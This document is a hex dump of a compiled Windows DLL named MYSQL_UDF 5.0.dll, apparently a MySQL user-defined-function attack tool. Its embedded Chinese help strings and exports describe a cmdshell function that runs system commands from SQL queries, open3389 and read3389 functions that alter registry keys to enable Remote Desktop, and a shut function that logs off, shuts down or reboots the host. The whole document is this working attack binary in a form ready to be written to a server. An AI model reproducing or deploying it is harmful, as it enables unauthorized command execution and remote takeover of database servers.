AE5C2AA6BAD52FB3FA0AF7D88C8CF1D9A8A928CB2606C8C15BDED4BEAD7B5FAAEDFFE9126E1FE9FD583A3F4821F2D912CA5E6497EA4B7F4773D21703650970AFFAB17325284B8EC3ACC015154E4BF506322C48E5314DD46BD883057923713F2C195A2A1C8CA923A986C36E58371A8A63D161178DA18FC4DC2DBFC35146A916110355D747D2A518AC1A045B3ED5F0432DEC906BA456A9166D3EC898016C7A445AACFB2A145BC57A5457E3B2DCF978CDD2A2DB1BE38078D4EFBE93CB0D994AD6583AF16656B2A11497772D4B5FB40139D91173F9B0E55D47CBFAC0BBC966C6B375F6EB0B75828DF6B74502721470F81D8681A4FBC9B7E0D40792D0734EAD1C33FFE310E7E5646C9A3D90E02B81D9A24FF3AB5A72AE24185A32C7EEEF1A225460E68C1CEAE77FBC791AF2C68A588923FCA5FFCFE34C2C3254978481D053B7BD64E3230E7FD3CD3DA39EC42ACFEA8BF3566F02E186F3FF7A6D2673FCE4DBB9491BB52E4059FF326DBCFC26B34A3D973D034E3637FA42FC6771E31FE3EFE90BE6DAA1D8BF7E2828755A4023B82568D4AA9475C32A33F31F48637F8C77D4F4BA73319F62D387D7B6B1B7C334A7255B778A6792D5E232FF42103C632989382F397FA78A4A344A54E131000ADF944DAE8BD8796F34318A2CF98B945E9EC4E656C2470E3F51696159C12D28EF1C2AA960F681736C78B17B80D1CD6E25C08027EF4A871D77C917CDE9B15CB553879B0EAB38697A4AD3CAC7FC86B589CF471E844BA6A70B6AC3C971A93847FC2D8455915606DB3BC3E3BC77D7EB93C5B40B9E56A9E70393C005196299E26EC9A83A02B9870EA9E20FEFF023E9E5A353C3314B92C28B6CE24F3FC39177F68E7E31A5D6FE964A75D4D6F1E2AC4741A5EF0E85BD4F2A533877352EC677814C9C99AF4A277CD75A15993C9FEA081AAE680F6BE1485DE2C59E56D50B4A950B54235EAE0001D3A7A3905BCF9E525555F16114013E9583B8E36B40615E8FE0E5DCBBE7945A098DE358BB1856E69350EE96077C1F83251C176D8BF47858005922F6A6D6D4526992D9E8855994E87719FA716FE62433F0CCD003BEC389E14F0B78424F6D50066F7E14DC7717656232D7BA8761B9CFFB8A7750B5E398F4C4E5BC52D1223BB20B0C189609385DC3A76320467377DD3C754903563BAC849E58DCF42C16191537912F1E683C541FD9363D272D731EAF488129AEA4C2021231E28A00D2DA1DE1F3C389A7EF70CD7FA03C16181CFEDC93ED360971F539EBB92103A60164779F5E95F048F6D4FD350D6F93693F80A64DB30F8BE90ADA1DF793DBCFA246FABF2EF744FA0FB9B130BEB7F943F1366D78568AA37E52C85FFEDC0B9F1DF31B84E34C9BCBC180DB42730130FD0F0408D9F900ED21B7B7EFD8DEC56E12A6766614BF1A04B1D477AF864202268161524591CCD25EB46B9E9716141BB30E7C94DF93F785B0F967B2D11609C6CC26265094B64D16E633D51B4D9062C0DE9BEC37CCB1077CAFFBAE3DA38F1AE5F13901E5F0D1DD1E94BEBB06D0984CFB190D6086A1EF2D05F5D1DA0DDBF274CAF881208FCFA78A95CE94FE7D99E8D0EAD81ED267222F4D110F561C067741B845B63828DA205C001579464CD8D94CE1E4E4C3126DAD4216438CC6F4F9E8A12B673E4C3227742B33143C0AD44329B321DB33416763D7FF103CC2A39833F5874EE795FE76665AB5DDBDE1F3CEC0962199F732012E6BFC16BD1AD495840DC88E429330388C57DBF102BC77ED87656EDF845B8AF15E0C88002EB52341E517E4686DCFEAC2B200259B75823ACF2AA86BA73DC13772D6F707EF81423FD9A4F6BF36DE0927CF140BFDBDF5A8508FAF5F8F5FE583E0D3F882A0EC9F88EB3BD8CB43E055643A922040D2570F273DD777678898B3A57DD366810F94D9C09A8E1A81735B0DF5BAD6180809B03F6D54622079004BE7D778CDD17729E751F4C6BDDD9B730D26F0A68339B6E722073F0CCB088E901BBC513AFA9D3AA3EF2A47738A5DBE1489E0C0EDCC7B8490DF9265AE125E74BD70FA36DB3B9EDC98917042E0C6A5E8D365CDEA448B821C1342D910E44ABCD746B253A90E5F3F2BE0947C3DEA634FE80EC16149574409996AD580FF20C8378885C7DEE6363CE223FC37425047274425C8205AA6C2A9A4CF1D57F65BA71ABEA0156D0B77B7B5907694E073661948DCD57DEB9AC5579AB41123CDD5603163F0CFF55830973F406AD7563828D415AD7E6911399187F701BED83C907EF86FC10D6B82AE40E242C12D472270FCCDC4C007230D4ABCE9D51497C712425CC5831D72AC4876F45607EF29F95C05FD22031C4BAFB073C46F8C5E81A5BDADA826D720797788205AFE4F0845CBC3686FCFBCD183B1986B7C9E9E06949B9C3B1DC94842600FDF9169E09797637FA31BBF33A7828097B67C520F308C80455DF9B9ED4C2E515B39D57F76DF12A62276D787C07DF5579A0769D34267BD4E7723AD2C6BD0CB035DC4FF3A50CBED88E0E34C53828A89468B675E9B06FF4031B3BC83F90DAAAF0F78FF2004D384755BB1CFAD59CA3B5C5B442588B12B12A3CBE5A39B90503707BD89EC8243B83D2C349ABF39FBF6FB8A5DCDF59E30B732D012DCDD02B0AC3C8B62149AC3505E42CA7716D547B9BB0BF01F0EFE3DFC7BF8F7F1EFE3DFC7BF8F7F1EFE3DFC7BF8F7F1EFE3DFC7FFA0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074CE00005CCE00004CCE000038CE000026CE000014CE000006CE00008CCE000000000000B2CD0000C8CD000098CD000086CD000076CD000060CD000052CD000044CD000038CD00002ACD00001CCD0000AECE0000BACE0000C6CE0000DCCE0000EECE0000FECE000010CF000024CF000040CF00005ECF000072CF000080CF00008ECF00009CCF0000B4CF0000CCCF0000E4CF0000F4CF000002D0000014D0000028D0000036D0000042D0000052D0000068D0000076D0000082D0000090D000009AD00000B2D00000C2D00000DAD00000E2D00000F4D0000002D1000014D100002ED1000046D1000060D1000076D1000090D10000AAD10000BAD10000D0D10000EAD10000FCD100000CD200001ED200002AD2000034D2000040D200005CD2000068D2000078D2000088D2000098D20000AED20000BED20000D4D20000E4D20000F4D2000006D3000018D300002AD3000036D3000000000000EACD0000000000000000000000000000000000009D4300105A5C00106D640010EB710010ED7800100000000000000000F49500100B5D00100000000000000000000000000000000000000000C7498F4B00000000020000006D00000048C7000048C7000000000000D6B4D0D0434D44205368656C6CBAAFCAFD2E0D0AC0FD3A73656C65637420636D647368656C6C282264697220633A5C5C22293B0D0AB2CECAFDD6D0B5C4225C22D2AAD3C3225C5C22B4FACCE62E0000000D0A2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2DCDEAB3C9210D0A0000005368656C6CCEDEB7A8C6F4B6AF2C4765744C6173744572726F723D25730A00003E000000202F6320000000005C323335313231332E746D700000000074656D70000000005C636D642E6578650000000068656C7000000000B2CECAFDB4EDCEF32E0D0A00D6D5B6CBBFAAC6F4B3C9B9A62CD6D5B6CBB6CBBFDACEAA25640000006644656E795453436F6E6E656374696F6E73000053595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665720000000053595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C5764735C72647077645C5464735C7463700000506F72744E756D626572000053595354454D5C43757272656E74436F6E74726F6C5365745C436F6E74726F6C5C5465726D696E616C205365727665725C57696E53746174696F6E735C5244502D54637000000000CDA8D3C3BFAA33333839D6D5B6CBB7FECEF12ED0DEB8C4B6CBBFDAD0E8D6D8C6F4BAF3C9FAD0A72E0D0AC0FD3A73656C656374206F70656E33333839285BB6CBBFDA5D293B000000D6D5B6CBB6CBBFDACEDEB7A8B6C1C8A100000000B5B1C7B0B5C4D6D5B6CBB6CBBFDACEAA3A256400B9D8BBFAD6D8C6F4D7A2CFFABAAFCAFD2E0D0AC0FD3A73656C656374207368757428226C6F676F66667C73687574646F776E7C7265626F6F7422293B00000000CEB4D6AAB5C4B2CECAFD25732CC6DACDFBCEAA6C6F676F6666A1A273687574646F776EA1A27265626F6F74D6D0B5C4D2BBB8F62E0D0A0000D6B4D0D0CAA7B0DC2CC4FAB5C4C8A8CFDEBFC9C4DCB2BBD7E32E0D0A00000000B3C9B9A6D6B4D0D02E0D0A007265626F6F74000073687574646F776E000000006C6F676F66660000BBF1B5C3B9D8BBFAC1EEC5C6B3F6B4ED2CC4FAB5C4C8A8CFDEBFC9C4DCB2BBD7E32E0D0A00000000536553687574646F776E50726976696C65676500BBF1B5C3BDF8B3CCB7C3CECAD0C5C1EEB3F6B4ED2CC4FAB5C4C8A8CFDEBFC9C4DCB2BBD7E32E0D0A000000000000000028006E0075006C006C00290000000000286E756C6C290000000000000600000600010000100003060006021004454545050505050535300050000000002820385058070800373030575007000020200800000000086068606060600000787078787878080708000007000808080000080008000708000000436F724578697450726F6365737300006D73636F7265652E646C6C0072756E74696D65206572726F722000000D0A0000544C4F5353206572726F720D0A00000053494E47206572726F720D0A00000000444F4D41494E206572726F720D0A00000000000052363033340D0A416E206170706C69636174696F6E20686173206D61646520616E20617474656D707420746F206C6F61642074686520432072756E74696D65206C69627261727920696E636F72726563746C792E0A506C6561736520636F6E7461637420746865206170706C69636174696F6E277320737570706F7274207465616D20666F72206D6F726520696E666F726D6174696F6E2E0D0A00000000000052363033330D0A2D20417474656D707420746F20757365204D53494C20636F64652066726F6D207468697320617373656D626C7920647572696E67206E617469766520636F646520696E697469616C697A6174696F6E0A5468697320696E6469636174657320612062756720696E20796F7572206170706C69636174696F6E2E204974206973206D6F7374206C696B656C792074686520726573756C74206F662063616C6C696E6720616E204D53494C2D636F6D70696C656420282F636C72292066756E6374696F6E2066726F6D2061206E617469766520636F6E7374727563746F72206F722066726F6D20446C6C4D61696E2E0D0A000052363033320D0A2D206E6F7420656E6F75676820737061636520666F72206C6F63616C6520696E666F726D6174696F6E0D0A00000000000052363033310D0A2D20417474656D707420746F20696E697469616C697A652074686520435254206D6F7265207468616E206F6E63652E0A5468697320696E6469636174657320612062756720696E20796F7572206170706C69636174696F6E2E0D0A000052363033300D0A2D20435254206E6F7420696E697469616C697A65640D0A000052363032380D0A2D20756E61626C6520746F20696E697469616C697A6520686561700D0A0000000052363032370D0A2D206E6F7420656E6F75676820737061636520666F72206C6F77696F20696E697469616C697A6174696F6E0D0A0000000052363032360D0A2D206E6F7420656E6F75676820737061636520666F7220737464696F20696E697469616C697A6174696F6E0D0A0000000052363032350D0A2D2070757265207669727475616C2066756E6374696F6E2063616C6C0D0A00000052363032340D0A2D206E6F7420656E6F75676820737061636520666F72205F6F6E657869742F617465786974207461626C650D0A0000000052363031390D0A2D20756E61626C6520746F206F70656E20636F6E736F6C65206465766963650D0A0000000052363031380D0A2D20756E65787065637465642068656170206572726F720D0A0000000052363031370D0A2D20756E6578706563746564206D756C7469746872656164206C6F636B206572726F720D0A0000000052363031360D0A2D206E6F7420656E6F75676820737061636520666F722074687265616420646174610D0A000D0A54686973206170706C69636174696F6E2068617320726571756573746564207468652052756E74696D6520746F207465726D696E61746520697420696E20616E20756E757375616C207761792E0A506C6561736520636F6E7461637420746865206170706C69636174696F6E277320737570706F7274207465616D20666F72206D6F726520696E666F726D6174696F6E2E0D0A00000052363030390D0A2D206E6F7420656E6F75676820737061636520666F7220656E7669726F6E6D656E740D0A0052363030380D0A2D206E6F7420656E6F75676820737061636520666F7220617267756D656E74730D0A00000052363030320D0A2D20666C6F6174696E6720706F696E74206E6F74206C6F616465640D0A000000004D6963726F736F66742056697375616C20432B2B2052756E74696D65204C696272617279000000000A0A00002E2E2E003C70726F6772616D206E616D6520756E6B6E6F776E3E000052756E74696D65204572726F72210A0A50726F6772616D3A2000000020F4001078F40010456E636F6465506F696E7465720000004B45524E454C33322E444C4C000000004465636F6465506F696E746572000000466C734672656500466C7353657456616C756500466C7347657456616C756500466C73416C6C6F63000000000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F000680808680818000001003868086828014050545454585858505000030308050808800080028273850578000070037303050508800000020288088808000000060686068686808080778707077707008080000080008000708000000496E697469616C697A65437269746963616C53656374696F6E416E645370696E436F756E740000006B65726E656C33322E646C6C0000000047657450726F6365737357696E646F7753746174696F6E00476574557365724F626A656374496E666F726D6174696F6E410000004765744C617374416374697665506F707570000047657441637469766557696E646F77004D657373616765426F7841005553455233322E444C4C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200020002000200020002000200020002000280028002800280028002000200020002000200020002000200020002000200020002000200020002000200020004800100010001000100010001000100010001000100010001000100010001000840084008400840084008400840084008400840010001000100010001000100010008100810081008100810081000100010001000100010001000100010001000100010001000100010001000100010001000100010010001000100010001000100082008200820082008200820002000200020002000200020002000200020002000200020002000200020002000200020002000200100010001000100020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000200020002000200020002000200020006800280028002800280020002000200020002000200020002000200020002000200020002000200020002000200048001000100010001000100010001000100010001000100010001000100010008400840084008400840084008400840084008400100010001000100010001000100081018101810181018101810101010101010101010101010101010101010101010101010101010101010101010101010101010101100010001000100010001000820182018201820182018201020102010201020102010201020102010201020102010201020102010201020102010201020102011000100010001000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000480010001000100010001000100010001000100010001000100010001000100010001000140014001000100010001000100014001000100010001000100010000101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010110000101010101010101010101010101020102010201020102010201020102010201020102010201020102010201020102010201020102010201020102010201100002010201020102010201020102010201010100000000808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F406162636465666768696A6B6C6D6E6F707172737475767778797A5B5C5D5E5F606162636465666768696A6B6C6D6E6F707172737475767778797A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F404142434445464748494A4B4C4D4E4F505152535455565758595A5B5C5D5E5F604142434445464748494A4B4C4D4E4F505152535455565758595A7B7C7D7E7F808182838485868788898A8B8C8D8E8F909192939495969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8D9DADBDCDDDEDFE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9FAFBFCFDFEFF48483A6D6D3A737300000000646464642C204D4D4D4D2064642C2079797979004D4D2F64642F797900000000504D0000414D0000446563656D626572000000004E6F76656D626572000000004F63746F6265720053657074656D62657200000041756775737400004A756C79000000004A756E6500000000417072696C0000004D617263680000004665627275617279000000004A616E7561727900446563004E6F76004F63740053657000417567004A756C004A756E004D617900417072004D617200466562004A616E0053617475726461790000000046726964617900005468757273646179000000005765646E657364617900000054756573646179004D6F6E646179000053756E646179000053617400467269005468750057656400547565004D6F6E0053756E00434F4E4F5554240053756E4D6F6E5475655765645468754672695361740000004A616E4665624D61724170724D61794A756E4A756C4175675365704F63744E6F76446563000000000000000048000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E00010C0C700100300000052534453E18DDB1A3CEAC145845E11BBDB9F5D9C010000006A3A5CE68A95E7A8BF5CE68891E79A84632B2BE68890E69E9C5C4D5953514C554446E68891E79A84E4BD9CE593815C4D5953514C5F55444620315C52656C656173655C4D5953514C5F55444620352E302E706462000000000000000000000000303B0000986F0000289300000000000000000000000000000000000000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF00000000761A001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF00000000F41A001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFFF61E0010071F001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF00000000942F001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF000000002A3F001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF000000009B45001000000000FEFFFFFF00000000D8FFFFFF00000000FEFFFFFF0000000048470010FEFFFFFF0000000054470010FEFFFFFF000000008CFFFFFF00000000FEFFFFFF494C00104D4C001000000000FEFFFFFF00000000CCFFFFFF00000000FEFFFFFF000000000655001000000000FEFFFFFF00000000D0FFFFFF00000000FEFFFFFF00000000A85B001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF00000000A260001000000000FEFFFFFF00000000CCFFFFFF00000000FEFFFFFF000000003464001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF000000008567001000000000FEFFFFFF00000000CCFFFFFF00000000FEFFFFFF5D6B0010746B001000000000FEFFFFFF00000000D8FFFFFF00000000FEFFFFFF187100102C71001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF000000005072001000000000FEFFFFFF00000000D8FFFFFF00000000FEFFFFFF887200108C72001000000000FEFFFFFF00000000C0FFFFFF00000000FEFFFFFF000000007A74001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF5A7800107678001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF00000000F179001000000000FEFFFFFF00000000D0FFFFFF00000000FEFFFFFF00000000567B001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF000000008981001000000000FEFFFFFF00000000D0FFFFFF00000000FEFFFFFF000000003B84001000000000FEFFFFFF00000000CCFFFFFF00000000FEFFFFFF00000000B9850010000000000000000085850010FEFFFFFF00000000D0FFFFFF00000000FEFFFFFF00000000D194001000000000FEFFFFFF00000000D4FFFFFF00000000FEFFFFFF000000000597001000000000FEFFFFFF00000000D0FFFFFF00000000FEFFFFFF00000000E797001000000000FEFFFFFF00000000D0FFFFFF00000000FEFFFFFF00000000929D0010E0CB00000000000000000000DCCD000024B0000014CD00000000000000000000FACD000058B10000BCCB00000000000000000000A0CE000000B00000000000000000000000000000000000000000000074CE00005CCE00004CCE000038CE000026CE000014CE000006CE00008CCE000000000000B2CD0000C8CD000098CD000086CD000076CD000060CD000052CD000044CD000038CD00002ACD00001CCD0000AECE0000BACE0000C6CE0000DCCE0000EECE0000FECE000010CF000024CF000040CF00005ECF000072CF000080CF00008ECF00009CCF0000B4CF0000CCCF0000E4CF0000F4CF000002D0000014D0000028D0000036D0000042D0000052D0000068D0000076D0000082D0000090D000009AD00000B2D00000C2D00000DAD00000E2D00000F4D0000002D1000014D100002ED1000046D1000060D1000076D1000090D10000AAD10000BAD10000D0D10000EAD10000FCD100000CD200001ED200002AD2000034D2000040D200005CD2000068D2000078D2000088D2000098D20000AED20000BED20000D4D20000E4D20000F4D2000006D3000018D300002AD3000036D3000000000000EACD000000000000830044656C65746546696C6541003400436C6F736548616E646C6500B5025265616446696C650000630147657446696C6553697A6500530043726561746546696C654100900357616974466F7253696E676C654F626A6563740071014765744C6173744572726F720000660043726561746550726F636573734100005801476574456E7669726F6E6D656E745661726961626C654100C10147657453797374656D4469726563746F72794100420147657443757272656E7450726F63657373004B45524E454C33322E646C6C0000E1004578697457696E646F77734578005553455233322E646C6C0000CB01526567436C6F73654B657900040252656753657456616C75654578410000D1015265674372656174654B657945784100F701526567517565727956616C75654578410000EC015265674F70656E4B6579457841001C0041646A757374546F6B656E50726976696C65676573004F014C6F6F6B757050726976696C65676556616C75654100AC014F70656E50726F63657373546F6B656E000041445641504933322E646C6C0000160248656170467265650000100248656170416C6C6F6300460147657443757272656E74546872656164496400001001476574436F6D6D616E644C696E654100E90147657456657273696F6E45784100A30147657450726F636573734865617000005E035465726D696E61746550726F6365737300006E03556E68616E646C6564457863657074696F6E46696C74657200004A03536574556E68616E646C6564457863657074696F6E46696C7465720039024973446562756767657250726573656E740014024865617044657374726F7900120248656170437265617465000083035669727475616C4672656500810044656C657465437269746963616C53656374696F6E0051024C65617665437269746963616C53656374696F6E00009800456E746572437269746963616C53656374696F6E000081035669727475616C416C6C6F6300001A02486561705265416C6C6F6300A00147657450726F634164647265737300007F014765744D6F64756C6548616E646C65410000B9004578697450726F6365737300A403577269746546696C6500B90147657453746448616E646C6500007D014765744D6F64756C6546696C654E616D654100006503546C7347657456616C7565006303546C73416C6C6F6300006603546C7353657456616C7565006403546C7346726565002C02496E7465726C6F636B6564496E6372656D656E74000028035365744C6173744572726F7200002802496E7465726C6F636B656444656372656D656E7400005603536C65657000240353657448616E646C65436F756E740000660147657446696C655479706500B70147657453746172747570496E666F4100F60046726565456E7669726F6E6D656E74537472696E677341005501476574456E7669726F6E6D656E74537472696E677300F70046726565456E7669726F6E6D656E74537472696E6773570094035769646543686172546F4D756C746942797465005701476574456E7669726F6E6D656E74537472696E6773570000A3025175657279506572666F726D616E6365436F756E74657200DF014765745469636B436F756E740000430147657443757272656E7450726F63657373496400CA0147657453797374656D54696D65417346696C6554696D65001B0353657446696C65506F696E74657200002201476574436F6E736F6C65435000003301476574436F6E736F6C654D6F6465000004014765744350496E666F00FD00476574414350000093014765744F454D435000002302496E697469616C697A65437269746963616C53656374696F6E00D70252746C556E77696E640052024C6F61644C696272617279410000370353657453746448616E646C65000099035772697465436F6E736F6C6541003501476574436F6E736F6C654F757470757443500000A3035772697465436F6E736F6C65570075024D756C746942797465546F57696465436861720044024C434D6170537472696E6741000045024C434D6170537472696E67570000BA01476574537472696E6754797065410000BD01476574537472696E675479706557000074014765744C6F63616C65496E666F4100001C024865617053697A650000EE00466C75736846696C6542756666657273000000000000000000000000C7498F4B00000000E6D30000010000000B0000000B00000078D30000A4D30000D0D300003010000090190000201000000014000090190000201000000016000090190000C01600009019000020100000F8D3000001D4000011D400001FD4000028D4000038D4000046D400004FD400005FD4000064D4000070D4000000000100020003000400050006000700080009000A004D5953514C5F55444620352E302E646C6C00636D647368656C6C00636D647368656C6C5F6465696E697400636D647368656C6C5F696E6974006F70656E33333839006F70656E333338395F6465696E6974006F70656E333338395F696E69740072656164333338390072656164333338395F6465696E6974007368757400736875745F6465696E697400736875745F696E69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000144332B2110000002A3FCE38F7A2CA8216999A2D14114D0C11504B3953756CA5A65829BBB32D64CD4AE86C99D0E9A66A2AD1152CD59A2D0C0B2D29591742D55028498453A2910BA0DD342822E7897D7D9C29A90B06D2D9B6C74D0C25444440A45A220892249A281BA6874C496E72EA0DA20CD385025AE0B65A2AD57EFFFBEC7BE73473CE70F79EF0E7A739C39EF3D3EFEFB9EFFF8D920D115A862D69D2A71BA1CA38754163AB570868B5999361842D0AB85B0BC1705582ECFCBC5AFF7260E352EABA6AC26394356456A75DC584BB5D09A4B6A2CF522BE266D9F9BE98385373ACCBB06507C31877A7B2DD20829F5949F9F688CA96FD4AA0459468285054E9094D34C5C453C6D288DB96C2B95037C5AF8039CB1D3A5DDD2254DE47C74D29BF06E370F7AF1A52E8AEA4A5EDC6AFA354A50A45F53713BCDBED52553F45915299E256D50622AC4CE462A90895D11B1292BC33E150E782327D8512C024A2122A3D12455322D4A5B12A508F3E6447A12BF541EFD61352A2444B88E984E102F94630B5EA7E60EBD5F06CBCE1832C174BCB98200C19830409833260CD18166AAE79AA0914A547A7E5857417E70C334AF01AFC1572BA29E7E64FD399C314E632A750A323983C26170D87C4625CF14E98B7576C6634FE39DF1EF190C8E49E5E9EF90D3716A3B72B9DD1AEEB76BBDE2F2D97A3D7BBE36B75F6